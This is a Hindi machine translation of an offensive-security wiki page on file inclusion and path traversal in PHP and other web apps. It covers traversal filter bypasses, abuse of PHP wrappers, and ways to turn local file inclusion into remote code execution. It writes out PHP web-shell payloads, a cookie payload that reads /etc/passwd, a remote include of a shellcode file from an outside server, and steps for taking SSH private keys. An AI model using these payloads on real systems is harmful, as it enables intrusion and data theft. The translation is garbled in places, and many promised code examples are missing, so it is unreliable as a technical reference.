File Inclusion/Path traversal
HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
हैकिंग इंसाइट्स हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
रियल-टाइम हैक न्यूज़ तेज गति से हैकिंग दुनिया के साथ अप-टू-डेट रहें और नवीनतम समाचार और अंदरूनी दृष्टिकोणों के साथ
नवीनतम घोषणाएँ नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
फ़ाइल समावेश
दूरस्थ फ़ाइल समावेश (RFI): फ़ाइल एक दूरस्थ सर्वर से लोड की जाती है (सर्वश्रेष्ठ: आप कोड लिख सकते हैं और सर्वर इसे क्रियान्वित करेगा)। Php में यह डिसेबल होता है डिफ़ॉल्ट में (allow_url_include)। स्थानीय फ़ाइल समावेश (LFI): सर्वर स्थानीय फ़ाइल लोड करता है।
यह सुरक्षा दोष उस समय होता है जब उपयोगकर्ता किसी भी तरीके से सर्वर द्वारा लोड की जाने वाली फ़ाइल को नियंत्रित कर सकता है।
वंलरेबल PHP फ़ंक्शन्स: require, require_once, include, include_once
इस सुरक्षा दोष को शोधने के लिए एक दिलचस्प उपकरण: https://github.com/kurobeats/fimap
ब्लाइंड - दिलचस्प - LFI2RCE फ़ाइलें
लिनक्स
कई *निक्स LFI सूचियों को मिश्रित करके और अधिक पथ जोड़कर मैंने यह एक बनाया है:
आप /
को \
के लिए बदलने की कोशिश करें
आप ../../../../../
भी जोड़ने की कोशिश करें
एक सूची जो कई तकनीकों का उपयोग करती है फ़ाइल /etc/password को खोजने के लिए (यह देखने के लिए कि क्या यह दुरुस्ती मौजूद है) यहाँ पाई जा सकती है यहाँ
विंडोज
विभिन्न शब्द सूचियों का मिश्रण:
आप /
को \
के लिए बदलने की कोशिश करें
आप C:/
को हटाने और ../../../../../
जोड़ने की कोशिश करें
एक सूची जो कई तकनीकों का उपयोग करती है फ़ाइल /boot.ini को खोजने के लिए (यह देखने के लिए कि क्या यह दुरुस्ती मौजूद है) यहाँ पाई जा सकती है यहाँ
ओएस एक्स
लिनक्स की LFI सूची की जाँच करें.
मूल LFI और बायपास
सभी उदाहरण स्थानीय फ़ाइल समावेशन के लिए हैं लेकिन इसे दूरस्थ फ़ाइल समावेशन में भी लागू किया जा सकता है (पृष्ठ=http://myserver.com/phpshellcode.txt\.
ट्रावर्सल सीक्वेंसेस स्ट्रिप्ड गैर-पुनरावृत्तिकरण
नल बाइट (%00)
प्रदान की गई स्ट्रिंग के अंत में अधिक वर्ण जोड़ें (बाइपास: $_GET['param']."php")
यह PHP 5.4 से हल हो गया है
कोडिंग
आप गैर मानक कोडिंग का उपयोग कर सकते हैं जैसे डबल URL कोडिंग (और अन्य):
मौजूदा फ़ोल्डर से
शायद बैक-एंड फ़ोल्डर पथ की जांच कर रहा है:
सर्वर पर फ़ाइल सिस्टम निर्देशिकाओं की जांच
सर्वर के फ़ाइल सिस्टम को विशेष तकनीकों का उपयोग करके निरंतर जांचा जा सकता है ताकि निर्देशिकाओं की पहचान की जा सके, केवल फ़ाइलों के बजाय। इस प्रक्रिया में निर्देशिका गहराई का निर्धारण करना शामिल है और विशिष्ट फ़ोल्डर की मौजूदगी की जांच करना। नीचे इसे प्राप्त करने के लिए एक विस्तृत विधि दी गई है:
निर्देशिका गहराई का निर्धारण: अपनी वर्तमान निर्देशिका की गहराई का निर्धारण करें,
/etc/passwd
फ़ाइल को सफलतापूर्वक प्राप्त करके (यदि सर्वर लिनक्स-आधारित है)। एक उदाहरण URL निम्नलिखित ढंग से संरचित हो सकता है, जो तीन की गहराई को दर्शाता है:
फोल्डर के लिए जांच: संदिग्ध फोल्डर का नाम URL में जोड़ें (जैसे,
private
), फिर/etc/passwd
पर वापस नेविगेट करें। अतिरिक्त निर्देशिका स्तर को एक से बढ़ाने की आवश्यकता होती है:
परिणामों का व्याख्या करें: सर्वर का प्रतिक्रिया दिखाता है कि क्या फ़ोल्डर मौजूद है:
त्रुटि / कोई आउटपुट नहीं:
private
फ़ोल्डर संभावित रूप से निर्दिष्ट स्थान पर मौजूद नहीं है।/etc/passwd
की सामग्री:private
फ़ोल्डर की मौजूदगी पुष्टि करती है।
रूढ़िवादी अन्वेषण: खोजे गए फ़ोल्डर को उपनिरीक्षण के लिए और भी जांचा जा सकता है उपनिरीक्षण या पारंपरिक स्थानीय फ़ाइल समावेशन (LFI) विधियों का उपयोग करके।
फ़ाइल सिस्टम में विभिन्न स्थानों पर निर्देशित निर्देशिकाओं की जांच के लिए, पेलोड को अनुकूलित करें। उदाहरण के लिए, यदि जांचना है कि /var/www/
में private
निर्देशिका है या नहीं (मानते हुए कि वर्तमान निर्देशिका 3 की गहराई पर है), तो इस्तेमाल करें:
पथ कटौती तकनीक
पथ कटौती एक विधि है जिसका उपयोग वेब एप्लिकेशन में फ़ाइल पथ को मानिपुर्थ करने के लिए किया जाता है। यह अक्सर किसी सुरक्षा उपाय को छलकर निश्चित अतिरिक्त वर्णों को फ़ाइल पथ के अंत में जोड़ने के द्वारा प्रतिबंधित फ़ाइलों तक पहुंचने के लिए प्रयोग किया जाता है। लक्ष्य एक फ़ाइल पथ को तैयार करना है जो सुरक्षा उपाय द्वारा संशोधित किया जाए, फिर भी वांछित फ़ाइल को संकेत करता है।
PHP में, फ़ाइल पथ के विभिन्न प्रतिनिधित्व को बराबर माना जा सकता है क्योंकि फ़ाइल सिस्टम की प्रकृति के कारण। उदाहरण के लिए:
/etc/passwd
,/etc//passwd
,/etc/./passwd
, और/etc/passwd/
सभी एक ही पथ के रूप में व्यवहार किए जाते हैं।जब आखिरी 6 वर्ण
passwd
होते हैं, तो/
जोड़ना (passwd/
बनाना) लक्षित फ़ाइल को बदल नहीं देता।उसी तरह, अगर फ़ाइल पथ में
.php
जोड़ा जाता है (जैसेshellcode.php
), तो अंत में/.
जोड़ने से एक्सेस की जा रही फ़ाइल परिवर्तित नहीं होगी।
प्रदत्त उदाहरण दिखाते हैं कि /etc/passwd
तक पहुंचने के लिए पथ कटौती का उपयोग कैसे किया जा सकता है, जो एक सामान्य लक्ष्य है क्योंकि इसमें संवेदनशील सामग्री होती है (उपयोगकर्ता खाता जानकारी)।
इन परिदृश्यों में, आवश्यक ट्रावर्सल की संख्या लगभग 2027 हो सकती है, लेकिन यह संख्या सर्वर के कॉन्फ़िगरेशन पर निर्भर कर सकती है।
डॉट सेगमेंट्स और अतिरिक्त वर्णों का उपयोग: ट्रावर्सल सिक्वेंसेस (
../
) को अतिरिक्त डॉट सेगमेंट्स और वर्णों के साथ मिलाकर फ़ाइल सिस्टम में नेविगेट करने के लिए उपयोग किया जा सकता है, सर्वर द्वारा जोड़ी गई स्ट्रिंग को प्रभावी रूप से नजरअंदाज करते हुए।आवश्यक ट्रावर्सल की संख्या निर्धारित करना: प्रयोग और त्रुटि के माध्यम से, कोई भी जी सकता है कि कितनी सटीक संख्या की
../
सिक्वेंसेस की आवश्यकता है ताकि रूट डायरेक्टरी और फिर/etc/passwd
तक नेविगेट किया जा सके, सुनिश्चित करते हुए कि किसी भी जोड़ी गई स्ट्रिंग (जैसे.php
) को न्यूट्रलाइज़ किया जाए लेकिन वांछित पथ (/etc/passwd
) अटैक रहे।एक नकली डायरेक्टरी के साथ शुरू करना: एक अस्तित्वहीन डायरेक्टरी के साथ पथ शुरू करना (जैसे
a/
) एक सामान्य अभ्यास है। यह तकनीक एक सावधानिक उपाय के रूप में या सर्वर के पथ पार्सिंग तर्क की आवश्यकताओं को पूरा करने के लिए उपयोग किया जाता है।
पथ कटौती तकनीकों का उपयोग करते समय, सर्वर के पथ पार्सिंग व्यवहार और फ़ाइल सिस्टम संरचना को समझना महत्वपूर्ण है। प्रत्येक परिदृश्य कोई भी विभिन्न दृष्टिकोण की आवश्यकता हो सकती है, और सबसे प्रभावी विधि खोजने के लिए अक्सर परीक्षण आवश्यक होता है।
यह सुरक्षा दोष PHP 5.3 में सुधारा गया था।
फ़िल्टर बाइपास ट्रिक्स
रिमोट फ़ाइल समावेश
PHP में यह डिफ़ॉल्ट रूप से अक्षम है क्योंकि allow_url_include
बंद है। यह काम करने के लिए यह चालू होना चाहिए, और उस मामले में आप अपने सर्वर से एक PHP फ़ाइल को समाविष्ट कर सकते हैं और RCE प्राप्त कर सकते हैं:
यदि किसी कारणवश allow_url_include
On है, लेकिन PHP बाहरी वेबपेजों तक पहुंच को फ़िल्टर कर रहा है, इस पोस्ट के अनुसार, आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं जिसमें बेस64 को डिकोड करने के लिए बी64 PHP कोड का उपयोग करें और RCE प्राप्त करें:
पिछले कोड में, अंतिम +.txt
इसलिए जोड़ा गया था क्योंकि हमलावर को एक स्ट्रिंग की आवश्यकता थी जो .txt
में समाप्त होती है, इसलिए स्ट्रिंग उसके साथ समाप्त होती है और b64 डिकोड के बाद वह भाग केवल कचरा लौटाएगा और असली PHP कोड शामिल होगा (और इसलिए, क्रियान्वित होगा)।
php://
प्रोटोकॉल का उपयोग न करते हुए एक और उदाहरण हो सकता है:
Python मूल तत्व
Python में इस तरह के कोड में:
यदि उपयोगकर्ता file_name
में पूर्ण पथ पास करता है, तो पिछला पथ केवल हटा दिया जाता है:
यह इच्छित व्यवहार है जैसा कि दस्तावेज़ के अनुसार:
यदि कोई घटक एक पूर्ण मार्ग है, तो सभी पिछले घटक छोड़ दिए जाते हैं और जोड़ना पूर्ण मार्ग घटक से जारी रहता है।
जावा सूची निर्देशिकाएँ
ऐसा लगता है कि अगर आपके पास जावा में एक पथ अभिव्यक्ति है और आप एक निर्देशिका के लिए पूछते हैं बजाय एक फ़ाइल के, तो निर्देशिका की सूची वापस लौटाई जाएगी। यह अन्य भाषाओं में नहीं होगा (जैसा कि मुझे पता है)।
शीर्ष 25 पैरामीटर
यहाँ एक ऐसी शीर्ष 25 पैरामीटर की सूची है जो स्थानीय फ़ाइल समावेशन (LFI) सुरक्षा दोषों के लिए संवेदनशील हो सकते हैं (लिंक):
LFI / RFI का उपयोग PHP wrappers और protocols का उपयोग करके
php://filter
PHP फ़िल्टर्स डेटा पर सामान्य संशोधन कार्यों को करने की अनुमति देते हैं पहले जब यह पढ़ा या लिखा जाता है। यहाँ 5 श्रेणियाँ हैं:
string.rot13
string.toupper
string.tolower
string.strip_tags
: डेटा से टैग हटाएं ("<" और ">" वाले वस्तुओं को)ध्यान दें कि यह फ़िल्टर PHP के आधुनिक संस्करणों से गायब हो गया है
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: एक विभिन्न encoding में परिवर्तित करता है (convert.iconv.<input_enc>.<output_enc>
)। समर्थित सभी encodings की सूची प्राप्त करने के लिए कंसोल में चलाएं:iconv -l
convert.iconv.*
परिवर्तन फ़िल्टर का दुरुपयोग करके आप कल्पित पाठ उत्पन्न कर सकते हैं, जो कल्पित पाठ लिखने या कल्पित पाठ बनाने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए देखें LFI2RCE via php filters।
zlib.deflate
: सामग्री को संकुचित करें (जानकारी को बहुत सारा निकालने के लिए उपयोगी)zlib.inflate
: डेटा को अनसंकुचित करेंmcrypt.*
: पुरानाmdecrypt.*
: पुरानाअन्य फ़िल्टर्स
php में
var_dump(stream_get_filters());
चलाकर आप कुछ अप्रत्याशित फ़िल्टर्स पा सकते हैं:consumed
dechunk
: HTTP chunked encoding को उल्टा करता हैconvert.*
भाग "php://filter" case insensitive है
php://fd
यह wrapper प्रक्रिया द्वारा खोले गए फ़ाइल डिस्क्रिप्टर तक पहुँचने की अनुमति देता है। खोली गई फ़ाइलों की सामग्री को बाहर निकालने के लिए संभावना है:
आप php://stdin, php://stdout और php://stderr का उपयोग करके फ़ाइल डिस्क्रिप्टर 0, 1 और 2 को पहुंचने के लिए कर सकते हैं (यह कैसे हमले में उपयोगी हो सकता है, इसके बारे में निश्चित नहीं है)
zip:// और rar://
एक Zip या Rar फ़ाइल अपलोड करें जिसमें एक PHPShell हो और इसे एक्सेस करें। रार प्रोटोकॉल का दुरुपयोग करने के लिए इसे विशेष रूप से सक्रिय किया जाना चाहिए।
डेटा://
कृपया ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन द्वारा प्रतिबंधित है allow_url_open
और allow_url_include
**
expect://
Expect को सक्रिय किया जाना चाहिए। आप इसका उपयोग करके कोड को निष्पादित कर सकते हैं:
इनपुट://
POST पैरामीटर में अपना पेयलोड निर्दिष्ट करें:
phar://
एक .phar
फ़ाइल का उपयोग PHP कोड को निष्पादित करने के लिए किया जा सकता है जब एक वेब एप्लिकेशन फ़ाइल लोडिंग के लिए include
जैसे फ़ंक्शन का उपयोग करता है। नीचे दिए गए PHP कोड स्निपेट में .phar
फ़ाइल बनाने का प्रदर्शन किया गया है:
.phar
फ़ाइल को कॉम्पाइल करने के लिए, निम्नलिखित कमांड को निष्पादित किया जाना चाहिए:
जब एक्यूशन होता है, तो एक फ़ाइल नामक test.phar
बनाई जाएगी, जिसे संभावित रूप से स्थानीय फ़ाइल समावेशन (LFI) संरचनाओं का उपयोग करने के लिए उपयोग किया जा सकता है।
उन मामलों में जहाँ LFI केवल फ़ाइल पढ़ने का कार्य करता है बिना PHP कोड को नहीं चलाता है, जैसे कि file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, या filesize()
के माध्यम से, तो डेसीरियलाइज़ेशन वंशीकरण का उपयोग किया जा सकता है। यह भ्रांतियों के साथ जुड़ा होता है जो phar
प्रोटोकॉल का उपयोग करके फ़ाइलों को पढ़ने से संबंधित है।
.phar
फ़ाइलों के संदर्भ में डेसीरियलाइज़ेशन भ्रांतियों का शोधन के लिए विस्तृत समझने के लिए नीचे दिए गए दस्तावेज़ का संदर्भ देखें:
Phar Deserialization Exploitation Guide
pagephar:// deserializationअधिक प्रोटोकॉल
जांचें और संभावित यहाँ समाविष्ट करने के लिए** प्रोटोकॉल:**
php://memory और php://temp — मेमोरी में लिखें या एक अस्थायी फ़ाइल में (यह कैसे एक फ़ाइल समावेशन हमले में उपयोगी हो सकता है, इसके बारे में स्पष्ट नहीं है)
file:// — स्थानीय फ़ाइल प्रणाली तक पहुँचना
http:// — HTTP(s) URLs तक पहुँचना
ftp:// — FTP(s) URLs तक पहुँचना
zlib:// — संपीड़न स्ट्रीम्स
glob:// — पैटर्न के साथ मेल खाती पथनामें खोजें (यह कुछ प्रिंट करने योग्य नहीं है, इसलिए यहाँ वास्तव में उपयोगी नहीं है)
ssh2:// — सुरक्षित शैली 2
ogg:// — ऑडियो स्ट्रीम्स (विचार्य फ़ाइलों को पढ़ने के लिए उपयोगी नहीं है)
PHP के 'assert' के माध्यम से LFI
PHP में स्थानीय फ़ाइल समावेशन (LFI) जोखिम विशेष रूप से 'assert' फ़ंक्शन के साथ होते हैं, जो स्ट्रिंग के भीतर कोड को निष्पादित कर सकता है। यह विशेष रूप से समस्यात्मक है अगर इनपुट में डायरेक्टरी ट्रावर्सल वाले वर्ण जैसे ".." शामिल हो और उन्हें ठीक से सैनिटाइज़ नहीं किया जाता है।
उदाहरण के लिए, PHP कोड में डायरेक्टरी ट्रावर्सल को रोकने के लिए निम्नलिखित रूप से डिज़ाइन किया जा सकता है:
जब यह ट्रावर्सल को रोकने का उद्देश्य रखता है, तो यह अनजाने में कोड इन्जेक्शन के लिए एक वेक्टर बना देता है। फ़ाइल सामग्री पढ़ने के लिए इसका शोषण करने के लिए हमलावर निम्नलिखित का उपयोग कर सकता है:
उसी तरह, अन्य सिस्टम कमांड को निषेधाज्ञा देने के लिए कोई भी इस्तेमाल कर सकता है:
ये payloads URL-encode करना महत्वपूर्ण है।
HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करने के लिए जुड़ें!
हैकिंग इंसाइट्स हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
रियल-टाइम हैक न्यूज़ रियल-टाइम न्यूज़ और इंसाइट्स के माध्यम से हैकिंग विश्व के तेजी से बदलते माहौल में अपड
ईमेल के माध्यम से
एक मेल भेजें एक आंतरिक खाते (user@localhost) को जिसमें आपका PHP पेलोड शामिल है जैसे <?php echo system($_REQUEST["cmd"]); ?>
और कोशिश करें कि उपयोगकर्ता के मेल में शामिल करें एक पथ के साथ जैसे /var/mail/<USERNAME>
या /var/spool/mail/<USERNAME>
/proc/*/fd/* के माध्यम से
बहुत सारे शैल अपलोड करें (उदाहरण के लिए: 100)
शामिल करें http://example.com/index.php?page=/proc/$PID/fd/$FD, $PID = प्रक्रिया का PID (ब्रूट फोर्स किया जा सकता है) और $FD फ़ाइल डिस्क्रिप्टर है (यह भी ब्रूट फोर्स किया जा सकता है)
/proc/self/environ के माध्यम से
एक लॉग फ़ाइल की तरह, यूज़र-एजेंट में पेलोड भेजें, यह /proc/self/environ फ़ाइल के अंदर प्रतिबिंबित होगा
अपलोड के माध्यम से
यदि आप एक फ़ाइल अपलोड कर सकते हैं, तो उसमें शैल पेलोड इंजेक्ट करें (जैसे: <?php system($_GET['c']); ?>
).
ज़िप फ़ाइल अपलोड के माध्यम से
एक ज़िप फ़ाइल अपलोड करें जिसमें एक PHP शैल संकुचित हो और पहुंचें:
PHP सत्र के माध्यम से
जांचें कि वेबसाइट PHP सत्र (PHPSESSID) का उपयोग करती हैं
PHP में ये सेशन /var/lib/php5/sess\[PHPSESSID]_ फ़ाइलों में स्टोर किए जाते हैं।
यहाँ कुकी को <?php system('cat /etc/passwd');?>
सेट करें।
एलएफआई का उपयोग करें ताकि PHP सत्र फ़ाइल को समाहित किया जा सके।
एसएसएच के माध्यम से
यदि एसएसएच सक्रिय है, तो जांचें कि कौन सा उपयोगकर्ता उपयोग किया जा रहा है (/proc/self/status & /etc/passwd) और <HOME>/.ssh/id_rsa तक पहुंचने का प्रयास करें।
वाया vsftpd लॉग
FTP सर्वर vsftpd के लॉग /var/log/vsftpd.log पर स्थित हैं। जब एक स्थानीय फ़ाइल समावेशन (LFI) दुरुपयोग संभावना होती है, और एक उजागर vsftpd सर्वर तक पहुंच संभव होती है, तो निम्नलिखित कदम विचारित किए जा सकते हैं:
लॉगिन प्रक्रिया के दौरान उपयोगकर्ता फ़ील्ड में एक PHP पेलोड इंजेक्ट करें।
इंजेक्शन के बाद, LFI का उपयोग करके /var/log/vsftpd.log से सर्वर लॉग्स प्राप्त करें।
फ़िल्टर के माध्यम से php base64 (base64 का उपयोग करके)
इस लेख में दिखाया गया है कि PHP base64 फ़िल्टर केवल Non-base64 को नजरअंदाज करता है। आप इसका उपयोग फ़ाइल एक्सटेंशन की जांच को छलकरने के लिए कर सकते हैं: यदि आप उस बेस64 प्रदान करते हैं जो ".php" से समाप्त होता है, तो यह बस "." को नजरअंदाज करेगा और "php" को बेस64 में जोड़ देगा। यहाँ एक उदाहरण पेलोड है:
फाइल शामिल करने के माध्यम से php फ़िल्टर्स के माध्यम से (कोई फ़ाइल की आवश्यकता नहीं)
यह लेख स्पष्ट करता है कि आप php फ़िल्टर्स का उपयोग करके विचित्र सामग्री को उत्पन्न कर सकते हैं। जिसका मतलब है कि आप फ़ाइल में लिखने की आवश्यकता नहीं है को शामिल करने के लिए विचित्र php कोड उत्पन्न कर सकते हैं।
pageLFI2RCE via PHP Filtersसेगमेंटेशन फॉल्ट के माध्यम से
एक फ़ाइल अपलोड करें जो /tmp
में अस्थायी रूप से संग्रहीत की जाएगी, फिर उसी अनुरोध में, एक सेगमेंटेशन फॉल्ट को ट्रिगर करें, और फिर अस्थायी फ़ाइल मिटाई नहीं जाएगी और आप उसे खोज सकते हैं।
Nginx अस्थायी फ़ाइल संग्रहण के माध्यम से
यदि आपने स्थानीय फ़ाइल समावेशन पाया है और Nginx PHP के सामने चल रहा है तो आप निम्नलिखित तकनीक के साथ RCE प्राप्त कर सकते हैं:
pageLFI2RCE via Nginx temp filesPHP_SESSION_UPLOAD_PROGRESS के माध्यम से
यदि आपने स्थानीय फ़ाइल समावेशन पाया है भले ही आपके पास कोई सत्र न हो और session.auto_start
Off
है। यदि आप मल्टीपार्ट POST डेटा में PHP_SESSION_UPLOAD_PROGRESS
प्रदान करते हैं, तो PHP आपके लिए सत्र सक्षम कर देगा। आप इसका दुरुपयोग करके RCE प्राप्त कर सकते हैं:
Windows में अस्थायी फ़ाइल अपलोड के माध्यम से
यदि आपने स्थानीय फ़ाइल समावेशन पाया है और सर्वर Windows में चल रहा है तो आप RCE प्राप्त कर सकते हैं:
pageLFI2RCE Via temp file uploadsphpinfo() (file_uploads = on) के माध्यम से
यदि आपने स्थानीय फ़ाइल समावेशन पाया है और एक फ़ाइल phpinfo() को उजागर कर रही है जिसमें file_uploads = on है, तो आप RCE प्राप्त कर सकते हैं:
pageLFI2RCE via phpinfo()compress.zlib + PHP_STREAM_PREFER_STUDIO
+ पथ भेद
PHP_STREAM_PREFER_STUDIO
+ पथ भेदयदि आपने स्थानीय फ़ाइल समावेशन पाया है और आप अस्थायी फ़ाइल का पथ निकाल सकते हैं लेकिन सर्वर यह जांच रहा है कि समावेश की जाने वाली फ़ाइल में PHP मार्क्स हैं तो आप इस रेस कंडीशन के साथ उस जांच को छलना करने की कोशिश कर सकते हैं:
pageLFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosureअनंत प्रतीक्षा + ब्रूटफ़ोर्स के माध्यम से
यदि आप LFI का दुरुपयोग करके अस्थायी फ़ाइलें अपलोड कर सकते हैं और सर्वर को PHP क्रियान्वयन में फंसा सकते हैं, तो आप फिर घंटों तक अस्थायी फ़ाइलें खोजने के लिए फ़ाइलों का ब्रूटफ़ोर्स कर सकते हैं:
pageLFI2RCE via Eternal waitingफेटल त्रुटि के लिए
यदि आप /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
में से किसी भी फ़ाइल को शामिल करते हैं। (आपको उसी को 2 बार शामिल करना होगा ताकि वह त्रुटि फेंके।)
मुझे नहीं पता कि यह कितना उपयोगी है लेकिन यह हो सकता है। यदि आप PHP फेटल त्रुटि का कारण बनाते हैं, तो PHP अस्थायी रूप से अपलोड की गई फ़ाइलें हटा दी जाती हैं।
संदर्भ
HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
हैकिंग इंसाइट्स हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
रियल-टाइम हैक समाचार तेजी से बदलते हुए हैकिंग विश्व के साथ रियल-टाइम समाचार और अंदाज़ में रहें
नवीनतम घोषणाएं नवीनतम बग बाउंटी और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट्स के साथ अवगत रहें
हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
Last updated